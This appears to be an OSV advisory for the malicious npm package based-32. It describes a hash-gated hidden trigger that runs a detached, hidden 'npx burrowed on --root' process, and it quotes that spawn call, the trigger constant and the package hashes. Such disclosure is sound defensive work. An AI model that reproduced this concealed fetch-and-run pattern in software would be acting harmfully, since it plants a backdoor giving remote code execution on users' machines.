MAL-2026-6447

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/based-32/MAL-2026-6447.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6447
Published
2026-06-25T06:53:14Z
Modified
2026-06-25T08:01:27.993038112Z
Summary
Malicious code in based-32 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (52ca241d887ed83628c8c4a4432ca0f832d092e6058c7ab4250cc5b169ba7fb9)

based-32 advertises itself as a zero-dependency RFC4648 Base32 encoding library, but dist/index.js ships a hidden trigger inside the exported handleSecureEncode() function (also reachable via the based32 -s <data> CLI). The function passes the caller's input through checkSecurityProtocol(), which SHA-256-hashes the input and compares it against the hardcoded constant SECURITY_HASH = "71c37c896ba7d9164cc91cb4507df9d3f42bd2ce728a93673b3dabfda45c7ed2". On match, it executes spawn('npx', ['burrowed','on','--root'], { detached: true, stdio: 'ignore', windowsHide: true, shell: true }) and calls unref() on the child, fetching and running the remote burrowed npm package as a detached, stdio-suppressed, window-hidden daemon. The surrounding try/catch swallows all errors so failures are silent. The naming (SECURITY_HASH, checkSecurityProtocol, handleSecureEncode) is a cover story — none of this behavior is documented in the README, and there is no Base32-related reason for the package to spawn npx, fetch a remote package, or run a daemon. Any environment where an attacker can deliver the magic input string into handleSecureEncode (or invoke based32 -s) gains arbitrary remote-code execution as a hidden background process under the installer's user.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-25T07:47:52.103938191Z",
            "source": "amazon-inspector",
            "sha256": "52ca241d887ed83628c8c4a4432ca0f832d092e6058c7ab4250cc5b169ba7fb9",
            "versions": [
                "1.0.1"
            ],
            "id": "IN-MAL-2026-007497",
            "modified_time": "2026-06-25T06:53:20Z"
        },
        {
            "import_time": "2026-06-25T07:47:52.03261588Z",
            "source": "amazon-inspector",
            "sha256": "f22b5e641b6f6d20d913c25660bec23599f6fd35e4d9110b48841a7ec33f3730",
            "versions": [
                "1.0.0"
            ],
            "id": "IN-MAL-2026-007496",
            "modified_time": "2026-06-25T06:53:14Z"
        }
    ]
}
References
Credits

Affected packages

npm / based-32

Package

Name
based-32
View open source insights on deps.dev
Purl
pkg:npm/based-32

Affected ranges

Affected versions

1.*
1.0.0
1.0.1

Database specific

indicators 
{
    "evidence_files": [
        {
            "tlsh": "0a41fe9c5df675a4025320ba07efc409205e96133444cab8bf5c97854f41b6c9bf6fe8",
            "sha256": "30bd4c4c846d677dee336485169e1ed62b6f15e4c30a2f75b32afd3c79a20356",
            "path": "dist/index.js"
        }
    ],
    "package_integrity": [
        {
            "filename": "based-32-1.0.1.tgz",
            "hashes": {
                "sha1": "1a91f17740507c942fe63a0fb39b5329cb25f718",
                "sha512_sri": "sha512-7vg100bIpzfkXfu4VuD/nqDDDrYmCtjRpQfEn9YkL8139KxdEX6t6feqQJqM0nP+zylfTqQ3Tdmlwm5+39MzkA=="
            }
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/based-32/MAL-2026-6447.json"